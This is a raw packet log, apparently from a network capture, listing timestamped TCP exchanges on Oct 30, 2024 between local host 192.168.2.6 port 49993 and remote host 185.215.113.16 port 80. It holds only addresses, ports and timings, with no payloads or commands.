Oct 30, 2024 05:25:15.531029940 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.531039000 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.531085014 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.531085014 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.564924955 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.564937115 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.564949036 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.564986944 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.564986944 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.565068960 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.565085888 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.565100908 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.565108061 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.565116882 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.565129995 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.565143108 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.565150023 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.565150023 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.565161943 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.565174103 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.565179110 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.565190077 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.565201044 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.565229893 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.565229893 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.565229893 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.565260887 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.565277100 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.565285921 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.565319061 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.565351009 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.565351009 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.565351009 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.565377951 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.565387964 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.565398932 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.565414906 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.565429926 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.565480947 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.565654993 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.565666914 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.565677881 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.565726042 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.565737009 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.565737009 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.565747023 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.565757990 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.565788031 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.565788031 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.565826893 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.565838099 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.565848112 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.565876007 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.565947056 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.565954924 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.565963984 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.565974951 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.565985918 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.566001892 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.566009998 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.566041946 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.566116095 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.566126108 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.566137075 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.566150904 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.566160917 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.566169024 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.566188097 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.566211939 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.566240072 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.566329002 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.566346884 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.566359997 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.566431046 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.566431046 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.566451073 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.566462040 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.566473007 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.566484928 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.566505909 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.566521883 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.566526890 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.566538095 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.566548109 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.566564083 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.566605091 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.566605091 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.566683054 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.566822052 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.566840887 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.566849947 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.566904068 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.566904068 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.604288101 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.604320049 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.604330063 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.604346991 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.604357958 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.604370117 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.604417086 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.604417086 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.604417086 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.604464054 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.604475021 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.604497910 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.604507923 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.604518890 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.604528904 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.604600906 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.604600906 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.604652882 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.604671001 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.604681969 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.604727983 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.604727983 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.604727983 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.604743004 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.604753017 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.604798079 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.604928017 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.604938030 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.604949951 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.605021000 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.605031967 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.605041027 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.605041027 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.605063915 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.605074883 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.605084896 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.605088949 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.605134010 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.605134010 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.605134010 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.605312109 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.605324030 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.605334044 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.605391979 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.605401993 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.605401993 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.605413914 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.605426073 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.605459929 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.605467081 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.605467081 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.605467081 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.605530024 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.605606079 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.605616093 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.605628967 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.605689049 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.605689049 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.605706930 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.605716944 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.605726957 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.605736971 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.605747938 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.605763912 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.605818033 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.605818033 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.605948925 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.605957985 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.605963945 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.605976105 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.606009007 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.606106997 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.606128931 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.606138945 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.606149912 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.606178045 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.606188059 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.606199026 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.606226921 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.606226921 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.606226921 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.606370926 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.606378078 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.606388092 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.606441021 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.623292923 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.623358011 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.623378992 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.623389006 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.623403072 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.623423100 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.623433113 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.623442888 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.623451948 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.623461008 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.623470068 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.623521090 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.623542070 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.623550892 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.623586893 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.623630047 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.623630047 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.623630047 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.623641014 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.623651028 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.623661041 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.623686075 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.623770952 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.623814106 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.623821974 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.623821974 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.623830080 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.623847008 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.623857021 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.623894930 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.623894930 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.623894930 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.648289919 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.648303032 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.648325920 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.648336887 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.648346901 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.648359060 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.648369074 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.648391962 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.648411989 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.648416042 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.648467064 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.648467064 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.648535013 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.648545980 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.648587942 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.648600101 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.648622036 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.648634911 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.648669004 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.648669004 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.682583094 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.682630062 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.682642937 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.682707071 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.682713985 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.682734966 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.682748079 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.682759047 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.682768106 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.682768106 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.682780027 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.682790995 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.682801962 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.682816029 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.682842016 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.682849884 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.682849884 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.682857037 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.682866096 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.682878017 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.682889938 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.682897091 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.682920933 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.682920933 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.682941914 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.682951927 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.682965994 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.682975054 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.683166027 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.683198929 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.683198929 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.683206081 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.683223009 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.683233976 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.683284044 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.683299065 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.683310032 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.683335066 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.683342934 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.683351994 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.683363914 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.683373928 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.683382988 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.683418036 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.683418036 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.683418036 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.683614969 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.683626890 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.683640957 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.683660030 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.683690071 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.683698893 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.683708906 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.683720112 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.683743954 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.683783054 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.683934927 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.683962107 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.683974028 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.683984995 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.683995962 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.684006929 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.684016943 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.684016943 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.684026003 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.684048891 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.684048891 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.684101105 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.684206963 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.684218884 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.684237957 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.684277058 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.684277058 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.684324026 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.684334993 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.684350014 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.684365034 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.684374094 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.684391975 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.684402943 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.684422970 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.684461117 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.721959114 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.721981049 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.721993923 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.722012997 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.722024918 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.722035885 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.722049952 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.722049952 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.722059965 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.722073078 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.722094059 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.722100973 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.722100973 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.722115993 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.722127914 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.722136974 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.722151041 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.722156048 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.722170115 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.722187996 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.722259998 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.722320080 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.722342968 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.722361088 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.722374916 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.722388029 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:15.722399950 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:15.722399950 CET	49993	80	192.168.2.6	185.215.113.16
